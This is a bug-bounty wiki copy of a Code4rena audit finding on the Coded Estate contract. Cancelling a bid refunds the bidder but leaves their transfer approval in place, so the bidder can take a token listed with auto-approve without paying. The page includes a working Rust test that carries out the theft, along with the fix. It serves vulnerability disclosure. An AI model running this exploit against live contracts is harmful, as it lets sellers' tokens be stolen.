Skip to content
Business logic Audit finding Intermediate

Cancelling bid doesn’t clear token approval of bidder allows malicious bidder to steal any tokens listing for sale with auto-approve enabled

When a seller lists a token for sale with auto-approve enabled, a bidder is granted approval to transfer the token. Cancelling the bid refunds the bidder but leaves that approval in place, so the bidder can then transfer the token to themselves without paying the seller.

nnez Follow with Ch_301

Originally disclosed on Code4rena

Submitted by nnez, also found by Ch_301

This vulnerability allows malicious actors to steal tokens on sell with auto-approve enabled without payment to sellers.

Description

The bug arises from an oversight in the token approval management within the bidding and cancellation process. When a seller sets auto_approve to true for their token, a bidder is granted approval upon calling the setbidtobuy function. This approval is intended to allow the buyer to call the transfer_nft function themselves to complete the trade.

The transfer_nft function performs the following actions:

  1. Clears all approvals.
  2. Transfers ownership to the buyer.
  3. Transfers funds to the seller.

However, a flaw exists in the bid cancellation process. When a buyer cancels their bid by calling setbidtobuy again, the function removes their bid and returns the deposited funds, but it fails to revoke the previously granted approval.

This oversight allows a malicious buyer to exploit the system through the following steps:

  1. Bid on a token with auto_approve set to true, gaining approval.
  2. Immediately cancel the bid, receiving a refund while retaining the approval.
  3. Call transfer_nft to transfer the token to themselves without payment, as their bid has been deleted from cancelling process.

This bug effectively allows the attacker to steal the token from the seller without providing any payment to seller.

The severity is set as high because the token (property) listing for sell must have an intrinsic monetary value or else it would not make sense to list it for sale. For example, it could be a property that already has a long-term renter and is receiving a stable income from said renter.

Relevant code snippet

pub fn setbidtobuy(
    &self,
    deps: DepsMut,
    _env: Env,
    info: MessageInfo,
    token_id: String,
) -> Result<Response<C>, ContractError> {

    ...snipped...
    // @c4-contest cancellation case
    else {
        // update the approval list (remove any for the same spender before adding)
        token.bids.retain(|item| item.address != info.sender); // @c4-contest <-- remove bid but doesn't clear approvals
    }

    self.tokens.save(deps.storage, &token_id, &token)?;
    // @c4-contest cancellation case refunds the bidder
    if position != -1 && (amount > Uint128::from(0u64)) {
        Ok(Response::new()
        .add_attribute("action", "setbidtobuy")
        .add_attribute("sender", info.sender.clone())
        .add_attribute("token_id", token_id)
        .add_message(BankMsg::Send {
            to_address: info.sender.to_string(),
            amount: vec![Coin {
                denom: token.sell.denom,
                amount: amount,
            }],
        }))
    }
    ...snipped...

}

Proof-of-Concept

The following test demonstrates the described scenario:

Boilerplate for PoC here.

  1. Replace everything in contracts/codedestate/src/multi_tests.rs with boilerplate from above secret gist.
  2. Insert below test:
#[test]
fn h6_cancel_bid_did_not_remove_bidder_from_approval() {
    let (mut app, contract_addr) = mock_app_init_contract();

    // Minter mints a new token
    execute_mint(&mut app, &contract_addr, MINTER, TOKEN_ID);
    // Asserts that token is minted
    assert_eq!(query_token_count(&app, &contract_addr.to_string()), 1);

    // Minter lists their token for sell with auto_approve enabled
    let set_list_for_sell_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForSell {
        islisted: true,
        token_id: TOKEN_ID.to_string(),
        denom: USDC.to_string(),
        price: 1000,
        auto_approve: true
    };
    let res = app.execute_contract(
        Addr::unchecked(MINTER),
        contract_addr.clone(),
        &set_list_for_sell_msg,
        &[],
    );
    assert!(res.is_ok()); // Everything is ok

    const ATTACKER: &str = "attacker";
    init_usdc_balance(&mut app, ATTACKER, 1000);

    // Attacker bids at target price after MINTER lists for sell
    let set_bid_to_buy_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetBidToBuy {
        token_id: TOKEN_ID.to_string()
     };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &set_bid_to_buy_msg,
        &vec![Coin {
            denom: USDC.to_string(),
            amount: Uint128::new(1000),
        }],
    );
    assert!(res.is_ok());

    // Attacker immediately cancels the bid
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &set_bid_to_buy_msg,
        &[],
    );
    assert!(res.is_ok()); // Everything is ok

    // Asserts that Attacker gets their refunds
    assert_eq!(query_denom_balance(&app, ATTACKER, USDC), 1000); //claimed back the fund

    // Attacker is still the approved spender, which opens for multiple attack vector
    // Attacker invokes `transfer_nft` to transfer the token to themselves
    let transfer_nft_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::TransferNft {
        recipient: ATTACKER.to_string(),
        token_id: TOKEN_ID.to_string()
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &transfer_nft_msg,
        &[],
    );
    assert!(res.is_ok()); // Everyting is ok

    // Asserts that Attacker now owns the token
    assert_eq!(query_token_owner(&app, &contract_addr.to_string(), TOKEN_ID), ATTACKER);
    // Asserts that Attacker pays nothing
    assert_eq!(query_denom_balance(&app, ATTACKER, USDC), 1000);
}
  1. Run cargo test h6_cancel_bid_did_not_remove_bidder_from_approval -- --nocapture.
  2. Observe that the test passes, indicating that attacker successfully steal seller’s token and pay nothing to seller.

Recommended Mitigation

Revoke approval of bidder when they cancel the bid.

Assessed type

Context

blockchainstar12 (Coded Estate) disputed

Note: For full discussion, see here.


The original report as published on Code4rena, by nnez. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The bid cancellation branch removes the bid and refunds the bidder but does not remove the bidder from the token's approval list.

Impact

A malicious bidder could steal any token listed for sale with auto-approve enabled without paying the seller.

What the attacker needed

Seller lists token with auto-approve; attacker has funds to place the bid

The fix

The approval granted to a bidder should be revoked when they cancel their bid.

How it was found

  1. Seller lists a token for sale with auto-approve enabled.
  2. Attacker bids at the target price and gains approval.
  3. Attacker immediately cancels the bid and receives a refund.
  4. Attacker calls transfer_nft to move the token to themselves without paying.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A seller can list a token for sale and let a buyer move the token themselves once they bid. The contract gives the bidder permission to do this, but when the bidder cancels the bid and gets their money back, that permission is not taken away. The bidder can then use the leftover permission to take the token for free.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by nnez

View all

32 more disclosed reports, best first.

More from Coded Estate Invitational

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.